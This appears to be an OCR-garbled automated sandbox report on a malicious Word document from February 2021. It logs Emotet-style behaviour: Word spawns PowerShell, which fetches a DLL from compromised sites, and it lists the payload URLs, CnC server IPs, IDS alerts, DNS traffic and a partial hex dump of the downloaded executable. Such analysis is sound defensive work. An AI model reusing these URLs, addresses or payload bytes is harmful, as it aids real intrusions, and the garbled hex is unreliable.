01 a6 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 44 32 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09 01 02 12 4e d7 fa 61 06 00 Oc 25 02 4a 3¢ 02 0a 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02
32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30
3032 60303433302d

WordDocument
data

114302
7.29269826557

True

ec a5 ¢1 00 5f cO 09 04 00 00 f0 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 21 60 00
00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 7e be 01 00 62 7f 00 00 62 7f 00 00 21 58 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of
00 00 00 00 00

word

data

348
7.39752642527

False

Loteoavei{Lzoo ot L= %.%...W%..... c<..

5.1...0l0..x]... d E.A..43h N..:otoo.

LS. ...mL . %- A4 #i=  fozibo o ]ro.boosioz oL )DL~ # > L
deoepa) e 1.KLLAG ...t 1o X...w..4.dd..e..j.

€209 f9 1d 74 b8 90 b1 56 38 21 7b e2 5a c9 d5 09 cc 21 dc bf 51 69 ff 5e 6d 55 54 {7 a2 ab
eb 74 99 d8 23 13 99 60 ff 3d df d9 Ob eb a7 9a 25 80 25 87 01 04 77 25 91 9f f9 bf 07 63 3¢
b9 b3 8d 35 06 49 81 a5 c1 6f 6¢ 21 9e e0 78 5d 14 b6 d2 30 d3 d2 1b a9 e7 fd 73 47 83 1a
da 58 9¢ 01 25 25 7e b5 a0 50 a3 db 64 18 95 e2 d8 45 18 41 e5 09 34 33 68 e7 98 e3 4e 09
d6 3a 21 a7 9513
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Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
02/17/21- TCP 2404322 ET CNC Feodo Tracker Reported CnC Server TCP group 12 49171 8080  192.168.2.22 195.159.28.230
22:57:35.428129

02/17/21- TCP 2404310 ET CNC Feodo Tracker Reported CnC Server TCP group 6 49173 8080  192.168.2.22 162.241.204.233
22:58:24.291871

02/17/21- TCP 2404304 ET CNC Feodo Tracker Reported CnC Server TCP group 3 49175 80 192.168.2.22 115.21.224.117

22:58:31.780135

Network Port Distribution

Total Packets: 15

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Feb 17, 2021 22:56:44.783550978 CET 49167 80 192.168.2.22 166.62.28.130
Feb 17, 2021 22:56:44.991023064 CET 80 49167 166.62.28.130 192.168.2.22
Feb 17, 2021 22:56:44.991354942 CET 49167 80 192.168.2.22 166.62.28.130
Feb 17, 2021 22:56:44.993495941 CET 49167 80 192.168.2.22 166.62.28.130
Feb 17, 2021 22:56:45.200732946 CET 80 49167 166.62.28.130 192.168.2.22
Feb 17, 2021 22:56:45.223210096 CET 80 49167 166.62.28.130 192.168.2.22
Feb 17, 2021 22:56:45.223351955 CET 80 49167 166.62.28.130 192.168.2.22
Feb 17, 2021 22:56:45.223459005 CET 49167 80 192.168.2.22 166.62.28.130
Feb 17, 2021 22:56:45.224011898 CET 49167 80 192.168.2.22 166.62.28.130
Feb 17, 2021 22:56:45.294106007 CET 49168 80 192.168.2.22 166.62.10.32
Feb 17, 2021 22:56:45.431421041 CET 80 49167 166.62.28.130 192.168.2.22
Feb 17, 2021 22:56:45.509422064 CET 80 49168 166.62.10.32 192.168.2.22
Feb 17, 2021 22:56:45.509637117 CET 49168 80 192.168.2.22 166.62.10.32
Feb 17, 2021 22:56:45.509758949 CET 49168 80 192.168.2.22 166.62.10.32
Feb 17, 2021 22:56:45.724998951 CET 80 49168 166.62.10.32 192.168.2.22
Feb 17, 2021 22:56:45.737011909 CET 80 49168 166.62.10.32 192.168.2.22
Feb 17, 2021 22:56:45.737037897 CET 80 49168 166.62.10.32 192.168.2.22
Feb 17, 2021 22:56:45.737143993 CET 49168 80 192.168.2.22 166.62.10.32
Feb 17, 2021 22:56:45.807948112 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:45.966809988 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:45.966911077 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:45.967051029 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.125727892 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499458075 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499519110 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499558926 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499598026 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499635935 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499684095 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499684095 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.499725103 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.499727964 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499738932 CET 49169 80 192.168.2.22 192.185.52.115
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 17, 2021 22:56:46.499768972 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499809027 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499844074 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.499847889 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.499914885 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.658565044 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658621073 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658658981 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658698082 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658737898 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658776045 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658778906 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.658813000 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.658817053 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658842087 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.658858061 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658906937 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658931971 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.658951044 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.658989906 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659028053 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.659029007 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659068108 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659091949 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.659105062 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659145117 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659166098 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.659183979 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659250975 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.659327984 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.659610987 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659655094 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659692049 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659727097 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.659739017 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.659821987 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.661585093 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.817890882 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.817951918 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.817991972 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818032026 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818069935 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818120956 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818150997 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.818299055 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.818312883 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818353891 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818401098 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818406105 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.818444014 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818474054 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.818541050 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818581104 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818619967 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818624020 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.818659067 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818689108 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.818707943 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818775892 CET 49169 80 192.168.2.22 192.185.52.115
Feb 17, 2021 22:56:46.818778992 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818820000 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818857908 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818896055 CET 80 49169 192.185.52.115 192.168.2.22
Feb 17, 2021 22:56:46.818900108 CET 49169 80 192.168.2.22 192.185.52.115
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Timestamp

Feb 17, 2021 22:56:46.818933964 CET
Feb 17, 2021 22:56:46.818969965 CET
Feb 17, 2021 22:56:46.818972111 CET

UDP Packets

Timestamp

Feb 17, 2021 22:56:40.278003931 CET
Feb 17, 2021 22:56:40.341351032 CET
Feb 17, 2021 22:56:42.668936968 CET
Feb 17, 2021 22:56:43.677108049 CET
Feb 17, 2021 22:56:44.691370010 CET
Feb 17, 2021 22:56:44.766448975 CET
Feb 17, 2021 22:56:45.235028028 CET
Feb 17, 2021 22:56:45.293414116 CET
Feb 17, 2021 22:56:45.746856928 CET
Feb 17, 2021 22:56:45.806917906 CET

DNS Queries

Timestamp

Feb 17, 2021 22:56:40.278003931 CET
Feb 17, 2021 22:56:42.668936968 CET
Feb 17, 2021 22:56:43.677108049 CET
Feb 17, 2021 22:56:44.691370010 CET
Feb 17, 2021 22:56:45.235028028 CET

Feb 17, 2021 22:56:45.746856928 CET

DNS Answers

Timestamp Source IP

Feb 17, 2021
22:56:40.341351032
CET

Feb 17, 2021
22:56:44.766448975
CET

Feb 17, 2021
22:56:45.293414116
CET

Feb 17, 2021
22:56:45.806917906
CET

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

HTTP Request Dependency Graph

e bhaktivrind.com

e vanddnabhargave.com

e ie-best.net

HTTP Packets

Session ID Source IP

0 192.168.2.22

Copyright null 2021

Source Port

49167

Source IP

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Trans ID

0x2c09

0xd8c3

0x26d4

Oxad13

Destination IP

Source Port
80

49169

80

Source Port
52197
53
53099
53099
53099
53
52838
53
61200
53

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code

Name error (3)

No error (0)

No error (0)

No error (0)

166.62.28.130 80

Dest Port
49169

80

49169

Dest Port
53
52197
53

53

53
53099
53
52838
53
61200

Trans ID

0x2c09

0xd8c3

0xd8c3

0xd8c3

0x26d4

Oxad13

Name

cab.mykfn.com

bhaktivrind.com

vanddnabha

rgave.com

ie-best.net

Destination Port Process

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source IP
192.185.52.115
192.168.2.22
192.185.52.115

Source IP
192.168.2.22
8.8.8.8
192.168.2.22
192.168.2.22
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8

OP Code Name

Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)

cab.mykfn.com

bhaktivrind.com

bhaktivrind.com

bhaktivrind.com

Standard query  vanddnabha
(0) rgave.com
Standard query  ie-best.net
(0)
CName Address
none none

166.62.28.130

166.62.10.32

192.185.52.115

Dest IP
192.168.2.22
192.185.52.115
192.168.2.22

Dest IP
8.8.8.8
192.168.2.22
8.8.8.8
8.8.8.8
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Feb 17, 2021
22:56:44.993495941 CET

Feb 17, 2021
22:56:45.223210096 CET

Session ID

1

Timestamp

Feb 17, 2021
22:56:45.509758949 CET

Feb 17, 2021
22:56:45.737011909 CET

Session ID

2

Timestamp

Feb 17, 2021
22:56:45.967051029 CET

Copyright null 2021

kBytes
transferred

0

Source IP

192.168.2.22

kBytes
transferred

1

Source IP

192.168.2.22

kBytes
transferred

4

Direction

ouT

Source Port

49168

Direction

ouT

Source Port

49169

Direction

ouT

Data

GET /cgi-bin/JBbb8/ HTTP/1.1
Host: bhaktivrind.com
Connection: Keep-Alive

HTTP/1.1 500 Internal Server Error
Date: Wed, 17 Feb 2021 21:56:45 GMT
Server: Apache

X-Powered-By: PHP/7.4.12

Upgrade: h2,h2c

Connection: Upgrade, close

Vary: User-Agent

Content-Length: 0

Content-Type: text/html; charset=UTF-8

Destination IP Destination Port Process

166.62.10.32 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /asset/W90/ HTTP/1.1
Host: vanddnabhargave.com
Connection: Keep-Alive

HTTP/1.1 404 Not Found

Date: Wed, 17 Feb 2021 21:56:45 GMT

Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Accept-Ranges: bytes

Vary: Accept-Encoding,User-Agent

Content-Length: 1699

Keep-Alive: timeout=5

Content-Type: text/html

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65
3e 46 69 6¢ 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76
3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72
7365 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65
6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢C 65 3d 31
2e 3022 3e 0a 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61
63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2¢ 20 68 31 2¢ 20 70 20 7b Oa 20
20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 20 22 53 65 67 6f 65 20 55
49 22 2¢ 20 53 65 67 6f 65 2¢ 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 41 72 69 61 6¢ 2¢ 20 22 4c 75 63 69 64 61 20 47 72 61
6e 64 65 22 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6¢ 3b
0a 2020 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6¢ 69 67
6e 3a 20 63 65 6e 74 65 72 3b 0a 7d Oa Oa 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6¢ 65 66 7
4 3a 202061 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69
6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61
64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6¢ 65 66 74 3a 20 31 35 70 78
3b 0a 7d 0a Oa 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6¢ 61 79
3a 20 74 61 62 6¢ 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d Oa Oa 2e 63 6f 6¢ 2d 6d 64 2d 36 20 7b Oa
20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d Oa Oa 2e 63 6f 6¢ 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72
67 69 6e 2d 6¢ 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70
78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30
70 78 20 30 3b Oa 7d Oa Oa 2e 6¢ 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f
6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b Oa
7d 0a 0a 70 20 7b Oa 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b Oa 7d Oa Oa 61 20 7b Oa 20 20 63 6f 6¢ 6f
72 3a 20 23 33 32 38 32 65 36 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b O0a 7d Oa 3¢
2f 73 74 79 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a Oa 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6e 74
61 69 6e 65 72 20 74 65 78 74 2d 63 65 6e 74 65 72 22 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 20 20 3c 73 76 67 20 68
6569 67 68 74 3d 22 31 30 30 22 20 77 69 64 74 68 3d 22 31 30 30 22 3e 0a 20 20 20 20 3c 70 6f 6¢ 79 67 6f 6e 20 70 6f
69 6e 74 73 3d 22 35 30 2c 32 35 20 31 37 2¢ 38 30

Data Ascii: <IDOCTYPE html><html><head><title>File Not Found</title><meta http-equiv="content-type" content="t
ext/html; charset=utf-8" ><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">b
ody { background-color: #eee;}body, h1, p { font-family: "Helvetica Neue", "Segoe UI", Segoe, Helvetica, Arial, "Lucida
Grande", sans-serif; font-weight: normal; margin: 0; padding: 0; text-align: center;}.container { margin-left: auto; marg
in-right: auto; margin-top: 177px; max-width: 1170px; padding-right: 15px; padding-left: 15px;}.row:before, .row:after {
display: table; content: " ";}.col-md-6 { width: 50%;}.col-md-push-3 { margin-left: 25%;}h1 { font-size: 48px; font-weight:
300; margin: 0 0 20px O;}.lead { font-size: 21px; font-weight: 200; margin-bottom: 20px;}p { margin: 0 0 10px;}a { color:
#3282e6; text-decoration: none;}</style></head><body><div class="container text-center" id="error"> <svg height="100"
width="100"> <polygon points="50,25 17,80

Destination IP Destination Port Process

192.185.52.115 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /online-timer-kvhxz/ilXL/ HTTP/1.1
Host: ie-best.net
Connection: Keep-Alive
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kBytes

Timestamp transferred Direction Data
Feb 17, 2021 5 IN HTTP/1.1 200 OK
22:56:46.499458075 CET Date: Wed, 17 Feb 2021 21:56:46 GMT

Server: Apache

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Wed, 17 Feb 2021 21:56:46 GMT

Content-Disposition: attachment; filename="iH51Y9HC9GOPOX3.dlI"

Content-Transfer-Encoding: binary

Set-Cookie: 602d911e69437=1613599006; expires=Wed, 17-Feb-2021 21:57:46 GMT; path=/

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Last-Modified: Wed, 17 Feb 2021 21:56:46 GMT

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=75

Transfer-Encoding: chunked

Content-Type: application/octet-stream

Data Raw: 33 64 30 62 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 86 46 Ob 60 00 00 00 00 00 00 00 00
€0 00 Oe 21 Ob 01 02 32 00 40 00 00 00 fa 04 00 00 00 00 00 50 19 00 00 00 10 00 00 00 50 00 00 00 00 00 10 00 10 00 O
000 02 00 00 03 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 18 c6 05 00 02 00 00 00 00 00
10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 €8 60 00 00 64 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3¢ 05 00 58 15 00 00 00 a0 05 00 e0 03 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 ac 61 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00
00 00 9e 36 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74
61 00 00 57 00 00 00 00 50 00 00 00 02 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74
61 00 00 00 90 04 00 00 00 60 00 00 00 04 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74 65
78 74 34 00 00 14 ed 04 00 00 70 00 00 00 ee 04 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74
65 78 74 38 00 00 64 00 00 00 00 60 05 00 00 02 00 00 00 30 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e
74 65 78 74 37 00 00 64 00 00 00 00 70 05 00 00 02 00 00 00 32 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40
2e 74 65 78 74 36 00 00 64 00 00 00 00 80 05 00 00 02 00 00 00 34 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00
40 2e 74 65 78 74 35 00 00 64 00 00 00 00 90 05 00 00 02 00 00 00 36 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00
00 40 2e 72 65 6¢ 6f 63 00 00 e0 03 00 00 00 a0 05 00 00 04 00 00 00 38 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: 3dObMZ@!L!This program cannot be run in DOS mode.$PELF 12@PP d<Xa'.text68 ".rdataWP<@@.d
ata™>@.text4pB@.text8d'0 @.text7dp2 @.text6d4 @.text5d6 @.reloc8@B

Code Manipulations

Statistics

Behavior

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

Click to jump to process

System Behavior
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Analysis Process: WINWORD.EXE PID: 1796 Parent PID: 584

General

Start time: 22:56:32

Start date: 17/02/2021

Path: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE
Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
Imagebase: 0x13f940000

File size: 1424032 bytes

MDS5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE91826B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DFCA7E16C7EDBCAE8D.TMP success or wait 1 7FEEQ0A9ACO unknown
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 7FEEQ0BE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 1 7FEEQ0BE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 1 7FEEQ0BE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEEQ0A9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency success or wait 1 7FEEQ0A9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery success or wait 1 7FEEQ0A9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F47BA success or wait 1 7FEEQ0A9ACO unknown
Key Value Created
Source
Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\Shared Cambria Math  binary 02 04 05 03 05 04 06 03 02 04 success or wait 1 7FEEQ0A9ACO unknown
Tools\Panose
HKEY_CURRENT_USER\Software\Microsoft\Shared Tahoma binary 02 0B 06 04 03 05 04 04 02 04 success or wait 1 7FEEQ0A9ACO unknown
Tools\Panose
HKEY_CURRENT_USER\Software\Mic F47BA binary 04 00 00 00 04 07 00 00 2A 00 00 00 success or wait 1 7FEEQ0A9ACO unknown

AN
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rosoinuce\L4.uwwvoraxeslii
ency\DocumentRecovery\F47BA
Key Path

Copyright null 2021

Name

Type

43 00 3A 00 5C 00 55 00 73 00 65 00
PafP 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
